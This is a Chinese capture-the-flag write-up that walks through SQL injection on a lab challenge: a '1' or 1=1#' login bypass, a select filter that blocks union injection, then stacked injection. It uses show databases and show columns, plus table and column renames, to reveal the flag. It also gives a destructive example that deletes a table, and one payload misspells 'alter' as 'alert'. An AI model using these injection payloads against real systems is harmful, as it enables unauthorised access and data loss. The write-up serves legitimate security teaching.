输入万能密码1' or 1=1# ,判断存在sql注入,
SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台。
万能密码原理:
万能密码能够绕过sql检测,在sql数据库中,运算符也是有优先级的,=优先于and,and优先于or,简单来说1=‘1’恒成立,因此返回值永远为True,且在SQL语法中 # 是注释符,所以后面的语句都会被注释掉。
我们尝试输入1,2,3,到3报错,说明字段数只有2个
尝试联合注入union,
判断显示位:
判断语句:
1' union select 1,2-- -
一直判断到报错
输入1′ union select 1,2 # 回显一个正则过滤规则
由回显的信息得出 select被过滤,无法联合注入
拓展:
PHP 中的 preg_match() 函数可以根据正则表达式对字符串进行搜索匹配,函数的语法格式如下:
preg_match($pattern,$subject [, &$matches [, $flags = 0 [, $offset = 0 ]]])
preg_match() 函数可以返回 $pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。
尝试堆叠注入,查询数据库
堆叠注入原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
输入1';show databases;# ,成功回显 ,说明存在堆叠注入。
接下来查询表名:
成功回显,得到两个表 :words和1919810931114514
查询表中字段:输入1'; show columns from words; #
表名为数字时,要用反引号包起来查询。
看到了flag,如何回显flag呢?
1,通过 rename 先把 words 表改名为其他的表名(word)。
2,把 1919810931114514 表的名字改为 words 。
3,将 flag列 改名为 id
(4,或者将flag列改名为data)
如下:1,1';rename table words to word;
2,rename table `1919810931114514` to words;
3, alert table words change flag id varchar (100);#(4,alter table `words` add id int(10);alter table `words` change flag data varchar(20);#)
5,最后输入1’ or 1=1 # 查看所有内容(我试了试字符用不用反引号好像都行),大家看自己的情况吧!最好加上,免得出错)